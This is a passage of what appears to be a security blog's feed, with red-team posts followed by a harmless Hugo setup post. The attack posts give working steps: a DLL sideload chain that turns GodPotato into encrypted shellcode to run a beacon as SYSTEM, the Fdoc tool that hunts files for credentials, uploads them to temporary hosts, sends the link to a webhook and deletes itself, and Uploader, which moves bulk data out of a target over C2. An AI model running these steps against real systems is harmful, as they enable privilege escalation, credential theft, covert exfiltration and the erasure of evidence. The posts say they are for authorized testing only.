    D --&gt; E[&#34;Rename to et.dat&#34;]
    E --&gt; H[&#34;Deploy together&#34;]
    F[&#34;et.exe &#43; krpt.dll&#34;] --&gt; H
    G[&#34;beacon.exe&#34;] --&gt; H
    H --&gt; I[&#34;Run et.exe in SeImpersonate-capable context&#34;]
    I --&gt; J[&#34;DLL runs GodPotato (not heavy work in DllMain)&#34;]
    J --&gt; K[&#34;Elevate and run beacon → SYSTEM session&#34;]</div>
<h4 id="step-1-hardcode-the-beacon-command">Step 1: Hardcode the beacon command</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-csharp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="n">potatoArgs</span> <span class="p">=</span> <span class="k">new</span> <span class="n">newgodArgs</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// Point at beacon on the target—not the signed et.exe</span>
</span></span><span class="line"><span class="cl">    <span class="n">cmd</span> <span class="p">=</span> <span class="s">&#34;cmd /c c:\\users\\public\\downloads\\beacon.exe&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span></span></span></code></pre></div></div>
<p>Build as <code>newgod.exe</code>.</p>
<h4 id="step-2-extract-shellcode-with-donut">Step 2: Extract shellcode with donut</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-dos">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code class="language-dos" data-lang="dos">donut.exe -i newgod.exe</code></pre></div>
<p>Sample output:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-text">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">[ Shellcode     : &#34;loader.bin&#34;
</span></span><span class="line"><span class="cl">[ File type     : .NET EXE
</span></span><span class="line"><span class="cl">[ Target CPU    : x86+amd64</span></span></code></pre></div></div>
<h4 id="step-3-encrypt-shellcode">Step 3: Encrypt shellcode</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 ShellcodeEncrypt.py loader.bin loader.dat</span></span></code></pre></div></div>
<p>Rename <code>loader.dat</code> to the name your loader expects (e.g. <code>et.dat</code>).</p>
<h4 id="step-4-deploy-1">Step 4: Deploy</h4>
<p>Place these in the <strong>same directory</strong> (beacon path must match Step 1), e.g. <code>C:\Users\Public\Downloads</code>:</p>
<table>
	<thead>
			<tr>
					<th>File</th>
					<th>Role</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>et.exe</code></td>
					<td>Signed EXE that triggers DLL load</td>
			</tr>
			<tr>
					<td><code>krpt.dll</code></td>
					<td>Malicious DLL: read <code>et.dat</code> → decrypt → execute</td>
			</tr>
			<tr>
					<td><code>et.dat</code></td>
					<td>Encrypted GodPotato shellcode</td>
			</tr>
			<tr>
					<td><code>beacon.exe</code></td>
					<td>Payload GodPotato starts after elevation</td>
			</tr>
	</tbody>
</table>
<p>Run <code>et.exe</code>: DLL decrypts/runs GodPotato shellcode at a safe time (not heavy work in DllMain) → (with SeImpersonate) elevates → runs <code>beacon.exe</code> as <strong>SYSTEM</strong>.</p>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>Beacon on disk<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">A plaintext <code>beacon.exe</code> on disk may still be caught by AV. In practice you often re-apply evasion to the beacon or keep it in-memory-only. This section only shows how GodPotato hooks into the sideload chain.</div>
    </div>
</div>]]></description></item><item><title>Fdoc: Conditional Packing, Upload Exfil, and Callback</title><link>https://blog.leeissonba.com/en/fdoc-conditional-pack-exfil/</link><pubDate>Tue, 21 Jul 2026 10:25:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/en/fdoc-conditional-pack-exfil/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/featured.jpg" alt="Fdoc: Conditional Packing, Upload Exfil, and Callback" referrerpolicy="no-referrer">
            </div><p>When you land on a host (or only have a short-lived shell), the goal is rarely a full disk image. More often you need to filter a subset of files, pack them into a size-bounded archive, and get the result back to the operator side quickly.</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>Compliance notice<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">For authorized penetration testing, incident response, and research only. Do not use against systems you do not own or lack permission to test.</div>
    </div>
</div>
<h2 id="1-use-cases">1. Use cases</h2>
<p>Typical needs include:</p>
<ul>
<li><strong>Type filtering</strong>: only certain types—contracts/report PDFs, Office files, configs, archives, recently modified documents</li>
<li><strong>Stacked conditions</strong>: names containing password/password-book, content matching credential patterns (via <code>-keyword secrets</code>), mtime after a given day</li>
<li><strong>Size and time limits</strong>: cannot blindly pack tens of GB, and cannot linger on the target</li>
<li><strong>Result callback</strong>: packing is not enough—files stay on the target; you still need the <strong>download URL</strong> back on the operator side, even if the parent process/C2 dies</li>
<li><strong>Footprint control</strong>: after transfer, avoid leaving the archive and the tool itself on disk</li>
</ul>
<p>A concrete playbook: <strong>right after initial access, run a short collection pass</strong>—filter sensitive configs, documents, spreadsheets, and source by extension/name/keyword into an archive, exfil to a local analysis box. The pack often yields network maps, password books, credential sheets, and ops manuals that support lateral movement—without slowly browsing the disk on target.</p>
<p>Red-team exfil, pulling key evidence in IR, or ops “only grab this directory/file class”—all are <strong>selective exfil</strong>, not backup, not full-disk forensics.</p>
<p><a href="https://github.com/simonlee-hello/Fdoc" target="_blank" rel="noopener noreffer ">Fdoc</a> is built for that: filter on target, pack, (optionally) upload, (optionally) callback the URL to a receiver, (optionally) scrub.</p>
<h2 id="2-pain-points-addressed">2. Pain points addressed</h2>
<table>
	<thead>
			<tr>
					<th>Pain point</th>
					<th>How Fdoc maps</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Whole-disk/dir packs are slow and huge; useful files are a small slice</td>
					<td>Combined extension/name/content/date filters + default <code>documents</code>; credentials via <code>-keyword secrets</code></td>
			</tr>
			<tr>
					<td>Enumerate all paths then compress—bad memory and runtime on large trees</td>
					<td>Streaming Walk + write tgz</td>
			</tr>
			<tr>
					<td>Archive sits on target; session dies and the URL is gone</td>
					<td>webhook / DNS callback, decoupled from C2 lifetime</td>
			</tr>
			<tr>
					<td>Which temp host works, and size limits differ</td>
					<td>Size-based auto probe + failover, or pin a backend</td>
			</tr>
			<tr>
					<td>Uploading plaintext archives feels unsafe</td>
					<td>Optional encryption</td>
			</tr>
			<tr>
					<td>Want fewer leftovers after transfer</td>
					<td>Optional scrub; failures are observable (exit / <code>SCRUB_PARTIAL</code>)</td>
			</tr>
			<tr>
					<td>Toolchain too fragmented (packer + uploader + decryptor)</td>
					<td>One binary covers pack / upload / decrypt / backend list</td>
			</tr>
	</tbody>
</table>
<p>In one line:</p>
<p><strong>Under the constraint of “short dwell time, only some files, and still get results home,” Fdoc folds filter, pack, exfil, and callback into one scriptable command chain.</strong></p>
<h2 id="3-pipeline">3. Pipeline</h2>
<p>Main path:</p>
<p><strong>Parse flags → Walk from <code>-d</code> → filter by rules → stream-write <code>.tgz</code> → (optional) encrypt and upload to temp hosting → (optional) webhook/DNS callback URL → (optional) scrub</strong></p>
<p>Per file, filters are a fixed AND chain (unset items pass):</p>
<p>Skip <code>-x</code> dirs → regular file or followable file symlink → <code>-e</code> extension → <code>-f</code> name → <code>-t</code> date → <code>-k</code>/<code>-keyword</code> content → <code>-max-file</code> → whether total hits <code>-max</code>.</p>
<p>Commas inside one flag are OR. Example: <code>-e pdf -f invoice -t 2024-01-01</code> requires all three; <code>-keyword password:,token:</code> matches either in content. Presets work too: <code>-keyword secrets</code> (alias <code>creds</code>) expands to assignment/JSON credential substrings. Details and preset tables: <a href="#41-multi-condition-filtering" rel="">4.1 Multi-condition filtering</a>.</p>
<p>Size and exit behavior:</p>
<ul>
<li><strong>Default soft cap</strong>: total budget counted by logical size, default 1GB; per-file <code>-max-file</code> off by default (<code>0</code>)</li>
<li><strong>No explicit <code>-max</code></strong>: hitting the budget fails immediately (exit 1) and asks you to set <code>-max</code> (or <code>-max 0</code> to disable)—avoids silent truncation</li>
<li><strong>Explicit <code>-max</code></strong>: truncate and keep what was packed (exit 2); if upload is on, the partial archive may still upload—“take what you can”</li>
<li><strong>Huge single files</strong>: add <code>-max-file</code> explicitly when you need to skip them</li>
</ul>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>Estimate first<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">When match size is unclear, run <code>-size</code> first (stats only, no pack), check disk vs logical size, then decide whether to pack or add <code>-max</code>.</div>
    </div>
</div>
<p>Without <code>-upload</code>, packing stays local and offline. With it, probe, upload, and callback kick in.</p>
<h2 id="4-features">4. Features</h2>
<h3 id="41-multi-condition-filtering">4.1 Multi-condition filtering</h3>
<p>Narrow the set by extension, name, content, date, and skip dirs; conditions are AND across flags, OR within a comma-separated flag. Rules: <a href="#3-pipeline" rel="">3. Pipeline</a>.</p>
<table>
	<thead>
			<tr>
					<th>Condition</th>
					<th>Flag</th>
					<th>Notes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Extension</td>
					<td><code>-e</code></td>
					<td>Filter by extension; <code>pdf,docx</code> or presets</td>
			</tr>
			<tr>
					<td>Filename</td>
					<td><code>-f</code></td>
					<td>Fuzzy path substring (e.g. <code>invoice,secret</code>)</td>
			</tr>
			<tr>
					<td>Content keyword</td>
					<td><code>-k</code> / <code>-keyword</code></td>
					<td>Search file content (skip obvious binaries; ~8MB max per file). Literal commas = OR; presets <code>secrets</code>/<code>creds</code> expand to <code>password=</code>, <code>&quot;password&quot;:</code>, etc., mixable with literals</td>
			</tr>
			<tr>
					<td>mtime</td>
					<td><code>-t</code></td>
					<td>Only files modified on/after that day (<code>YYYY-MM-DD</code>)</td>
			</tr>
			<tr>
					<td>Skip dirs</td>
					<td><code>-x</code></td>
					<td>Defaults include per-OS cache/junk lists; an explicit <code>-x</code> replaces the whole table</td>
			</tr>
	</tbody>
</table>
<p><code>-e</code> presets:</p>
<table>
	<thead>
			<tr>
					<th>Value</th>
					<th>Meaning</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>documents</code> (default)</td>
					<td>pdf/doc/xls/ppt/csv</td>
			</tr>
			<tr>
					<td><code>all</code></td>
					<td>common docs + archives + config (still not every file on disk)</td>
			</tr>
			<tr>
					<td><code>any</code></td>
					<td>no extension limit</td>
			</tr>
			<tr>
					<td><code>pdf,txt,...</code></td>
					<td>explicit list</td>
			</tr>
	</tbody>
</table>
<p><code>-keyword</code> presets:</p>
<table>
	<thead>
			<tr>
					<th>Value</th>
					<th>Meaning</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>secrets</code> / <code>creds</code></td>
					<td>Credential assignment/JSON substrings (<code>password:</code>, <code>password =</code>, <code>&quot;password&quot;:</code>, <code>api_key=</code>, Chinese <code>密码：</code>, etc.); e.g. <code>-keyword secrets,corp_sso=</code></td>
			</tr>
	</tbody>
</table>
<p>Examples:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Fdoc -d /data -e pdf -f invoice -keyword <span class="s1">&#39;token:&#39;</span> -t 2025-01-01 -o hits.tgz
</span></span><span class="line"><span class="cl">Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o creds.tgz</span></span></code></pre></div></div>
<p>Symlinks: on Unix/macOS, <strong>file symlinks are followed</strong> (content from target, archive path keeps the link path); directory symlinks are not entered. Windows <code>.lnk</code> is not resolved—only the shortcut file itself is packed when <code>-e</code> matches.</p>
<h3 id="42-stream-pack-with-size-budget">4.2 Stream pack with size budget</h3>
<p>No full listing then compress—memory stays bounded. Use <code>-size</code> to estimate first. Long jobs emit <code>PACK_PROGRESS</code> / <code>UPLOAD_PROGRESS</code> heartbeats for headless use.</p>
<h3 id="43-built-in-upload-auto-pick-temp-backends-by-size">4.3 Built-in upload: auto-pick temp backends by size</h3>
<p>With <code>-upload</code>, backends are filtered by archive size, probed in parallel, and failed over by latency; pin one with <code>-b</code> (demos often use <code>-b lit</code>). Full names and size caps: <code>Fdoc backends</code>. Without callback, the URL goes to stdout for scripting; status lines on stderr (<code>UPLOAD_OK</code>, etc.).</p>
<h3 id="44-callback-decoupled-from-the-session">4.4 Callback decoupled from the session</h3>
<p>With <code>-webhook</code> / <code>-dns</code>, the download URL is pushed to your receiver: HTTPS webhook first, DNSLog shards on failure. If the parent session dies, you may still recover the URL from the callback. stdout/stderr roles stay fixed so scripts and humans do not fight over output.</p>
<h3 id="45-optional-pre-upload-encryption">4.5 Optional pre-upload encryption</h3>
<p><code>-encrypt -key</code>: AES-256-CBC with <code>UP01</code> magic; remote objects use <code>.bin</code> so they are not mistaken for plain gzip. Built-in <code>Fdoc decrypt</code>—no second tool. The key is a passphrase padded to 32 bytes (not PBKDF2); treat it as a shared-secret model.</p>
<h3 id="46-optional-scrub">4.6 Optional scrub</h3>
<p>After a successful upload (and successful callback if configured), delete the archive and the binary itself. On Windows, self-delete is best-effort (delayed / reboot delete); failure yields <code>SCRUB_PARTIAL</code> and a non-zero exit.</p>
<h3 id="47-cross-platform-static-binary">4.7 Cross-platform static binary</h3>
<p>Ships as dependency-free static singles for Linux / Windows / macOS (amd64 and arm64). Same flags across platforms; Windows scrub, SkipDirs, and <code>.lnk</code> behavior are covered above and in release notes.</p>
<h2 id="5-minimal-examples">5. Minimal examples</h2>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Estimate size first when unsure</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e documents -size
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Pack</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e documents -max 500MB -o /tmp/docs.tgz
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Hunt credential patterns in config/JSON</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e ini,conf,json,yml -keyword secrets -o /tmp/creds.tgz
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Upload; URL on stdout</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -o /tmp/docs.tgz -upload -q
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Encrypt + upload + webhook callback + scrub</span>
</span></span><span class="line"><span class="cl">Fdoc -d /data -e pdf,docx -t 2025-01-01 -o /tmp/docs.tgz <span class="se">\
</span></span></span><span class="line"><span class="cl">  -upload -encrypt -key <span class="s2">&#34;</span><span class="nv">$KEY</span><span class="s2">&#34;</span> <span class="se">\
</span></span></span><span class="line"><span class="cl">  -webhook https://your.receiver/hook <span class="se">\
</span></span></span><span class="line"><span class="cl">  -scrub -q</span></span></code></pre></div></div>
<p>DNS shard format, encryption disk use, Windows SkipDirs, and related details: see the <a href="https://github.com/simonlee-hello/Fdoc" target="_blank" rel="noopener noreffer ">Fdoc README</a>.</p>
<h2 id="6-terminal-demos">6. Terminal demos</h2>
<p>Four clips cover the main path: size estimate → filtered pack → pinned-backend upload → upload with webhook callback.</p>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" title="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/01-size.gif" data-sub-html="<h2>Size estimate (-size)</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/01-size.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Size estimate (<code>-size</code>)</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" title="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" data-sub-html="<h2>Multi-condition filter then pack</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/02-filter-pack.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Multi-condition filter then pack</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" title="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" data-sub-html="<h2>Upload (-b lit)</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/03-upload.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Upload (<code>-b lit</code>)</figcaption>
    </figure>
<figure><a class="lightgallery" href="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" title="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" data-thumbnail="/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" data-sub-html="<h2>Upload &#43; webhook callback</h2>">
        <img src="https://blog.leeissonba.com/images/posts/fdoc-conditional-pack-exfil/04-upload-webhook.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Upload + webhook callback</figcaption>
    </figure>]]></description></item><item><title>Large File Transfer over C2: Separating the Data Channel with Cloud Uploads</title><link>https://blog.leeissonba.com/en/c2-large-file-exfil-via-cloud-upload/</link><pubDate>Thu, 16 Jul 2026 23:16:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/en/c2-large-file-exfil-via-cloud-upload/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/c2-large-file-exfil-via-cloud-upload/featured.jpg" alt="Large File Transfer over C2: Separating the Data Channel with Cloud Uploads" referrerpolicy="no-referrer">
            </div><p>C2 is designed for command control and lightweight interaction, not sustained large-file transfers. During authorized testing, bulk traffic can be moved to a temporary cloud upload service while C2 only sends commands and returns download links.</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>Disclaimer<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">For authorized penetration testing and research only. Do not use this against systems you do not have permission to test.</div>
    </div>
</div>
<h2 id="1-why-separate-the-data-channel">1. Why separate the data channel</h2>
<p>Directly downloading large files over C2 creates four problems:</p>
<ul>
<li><strong>Bandwidth contention</strong>: bulk transfers block command interaction and heartbeats.</li>
<li><strong>Reliability</strong>: sleep, jitter, timeouts, and weak resume support increase retransmission cost.</li>
<li><strong>Path overhead</strong>: encoding, chunking, pivots, SOCKS, and multiple hops add traffic, latency, and failure points.</li>
<li><strong>Infrastructure exposure</strong>: sustained high-volume traffic converges on the C2 server and affects other sessions on a shared Team Server.</li>
</ul>
<p>The separated flow is:</p>
<ol>
<li>Stage files or directories on the target</li>
<li>Upload from the target to a temporary storage service reachable from the current network</li>
<li>Return the download link over C2</li>
<li>Download the file from a separate testing environment</li>
</ol>
<p>Control traffic stays on C2; large-file traffic follows target → upload service.</p>
<h2 id="2-how-uploader-handles-the-transfer">2. How Uploader handles the transfer</h2>
<p><a href="https://github.com/simonlee-hello/uploader" target="_blank" rel="noopener noreffer ">Uploader</a> implements the multi-backend approach introduced by <a href="https://github.com/Mikubill/transfer" target="_blank" rel="noopener noreffer ">Mikubill/transfer</a>. Its main functions are:</p>
<ul>
<li><code>backends</code>: list backends, size limits, status, and URLs.</li>
<li><code>probe</code>: test reachability and latency from the current network.</li>
<li>Automatic mode: filter backends by payload size, probe and sort by latency, then fail over on errors.</li>
<li>Size preflight: reject a file or estimated directory size that exceeds a backend limit.</li>
<li>Directory handling: create a temporary Deflate ZIP by default and remove it after upload; <code>-r</code> uploads files individually.</li>
<li>Encryption: <code>-e -k</code> uses AES-256-CBC with a <code>UP01</code> header, random IV, and ciphertext.</li>
<li>Script-friendly output: <code>-q</code> writes only the successful link to stdout and errors to stderr.</li>
</ul>
<p>Backend availability changes with both the service and the network. Treat <code>uploader probe</code> as the runtime source of truth.</p>
<h2 id="3-command-examples">3. Command examples</h2>
<figure><a class="lightgallery" href="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" title="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" data-thumbnail="/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" data-sub-html="<h2>Uploader demo: backends / probe / upload / quiet mode / encrypt</h2>">
        <img src="https://blog.leeissonba.com/images/posts/c2-large-file-exfil-via-cloud-upload/uploader-demo.gif" alt="" referrerpolicy="no-referrer">
    </a><figcaption class="image-caption">Uploader demo: backends / probe / upload / quiet mode / encrypt</figcaption>
    </figure>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">uploader -q ./evidence</span></span></code></pre></div></div>
<p>Without <code>-b</code>, the sequence is: size filter → probe → latency order → failover. Directories are packed first; success prints one download link.</p>
<div class="code-block code-line-numbers" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Pin lit</span>
</span></span><span class="line"><span class="cl">uploader -q -b lit ./dump.zip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Prefer lit but allow failover</span>
</span></span><span class="line"><span class="cl">uploader -q -b lit -auto ./dump.zip
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Upload directory files individually</span>
</span></span><span class="line"><span class="cl">uploader -q -r ./dir
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Encrypt before upload</span>
</span></span><span class="line"><span class="cl">uploader -q -e -k <span class="s1">&#39;your-key&#39;</span> ./secret.bin</span></span></code></pre></div></div>
<p>List and probe backends:</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">uploader backends
</span></span><span class="line"><span class="cl">uploader probe
</span></span><span class="line"><span class="cl">uploader probe temp lit gof -timeout <span class="m">20</span></span></span></code></pre></div></div>
<p>Exit codes are <code>0</code> for success, <code>1</code> for upload or configuration failure, and <code>2</code> for invalid arguments. <code>-keep</code> waits for keyboard input and is unsuitable for headless execution.</p>
<h2 id="4-limitations-and-checks">4. Limitations and checks</h2>
<ol>
<li>Confirm target egress, proxy, allowlists, and TLS inspection policy, then validate the path with a small file.</li>
<li>Public upload services may log sources, scan content, and enforce file-type, capacity, and retention limits. Confirm engagement requirements before use.</li>
<li>Directory mode writes a temporary ZIP to disk. Use <code>-r</code> or another transfer method if staging is not allowed.</li>
<li>AES-256-CBC provides content confidentiality only; it does not replace integrity verification or key management.</li>
<li>Filenames can disclose context. Use names without business meaning.</li>
<li>After download, remove temporary files, the binary, and command history, and retrieve data before the link expires.</li>
</ol>]]></description></item><item><title>Hugo + LoveIt Blog Optimization Notes: From Setup to a Reproducible Config</title><link>https://blog.leeissonba.com/en/hugo-loveit-blog-optimization-notes/</link><pubDate>Mon, 13 Jul 2026 09:44:50 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/en/hugo-loveit-blog-optimization-notes/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/hugo-loveit-blog-optimization-notes/featured.jpg" alt="Hugo &#43; LoveIt Blog Optimization Notes: From Setup to a Reproducible Config" referrerpolicy="no-referrer">
            </div><p>A practical recap of the optimizations applied to this site, so the setup can be reproduced against the current repository.</p>
<ul>
<li>Site: <a href="https://blog.leeissonba.com/" target="_blank" rel="noopener noreffer ">https://blog.leeissonba.com/</a></li>
<li>Theme: <a href="https://github.com/dillonzq/LoveIt" target="_blank" rel="noopener noreffer ">LoveIt</a> · Hosting: Cloudflare Workers static assets</li>
<li>Repo: <a href="https://github.com/simonlee-hello/MyBlog" target="_blank" rel="noopener noreffer ">https://github.com/simonlee-hello/MyBlog</a></li>
</ul>
<h2 id="1-background-and-goals">1. Background and goals</h2>
<p>This personal blog runs on Hugo Extended + LoveIt, with these requirements:</p>
<ul>
<li>Chinese as the default language, with an English switch</li>
<li>Draft in Obsidian / Typora, then auto-fill front matter, cover image, English version, and publish</li>
<li>Deploy on Cloudflare with a custom domain</li>
<li>Comments, on-page counters, and backend analytics each in place</li>
<li>Code blocks and videos that do not break the layout</li>
</ul>
<p>Each section lists paths and config points that match the current repo.</p>
<hr>
<h2 id="2-project-layout-and-local-commands">2. Project layout and local commands</h2>
<p>This chapter defines the repository layout, local commands, and ignore rules—the baseline for template overrides, styles, and deploy.</p>
<h3 id="21-key-directories">2.1 Key directories</h3>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-text">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">.
</span></span><span class="line"><span class="cl">├── archetypes/          # new-post templates
</span></span><span class="line"><span class="cl">├── assets/css/          # _custom.scss theme overrides
</span></span><span class="line"><span class="cl">├── content/posts/       # posts (zh .md / en .en.md)
</span></span><span class="line"><span class="cl">├── drafts/              # local drafts (gitignored)
</span></span><span class="line"><span class="cl">├── layouts/             # theme overrides (do not edit themes/LoveIt)
</span></span><span class="line"><span class="cl">├── static/              # images, videos, favicon
</span></span><span class="line"><span class="cl">├── themes/LoveIt/       # Git submodule
</span></span><span class="line"><span class="cl">├── .cursor/skills/      # hugo-blog-publish / loveit-theme
</span></span><span class="line"><span class="cl">├── build.sh / wrangler.jsonc / package.json  # Cloudflare build
</span></span><span class="line"><span class="cl">├── hugo.toml
</span></span><span class="line"><span class="cl">└── Makefile</span></span></code></pre></div></div>
<h3 id="22-common-commands">2.2 Common commands</h3>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="Copy to clipboard"><i class="far fa-copy" aria-hidden="true"></i></span>
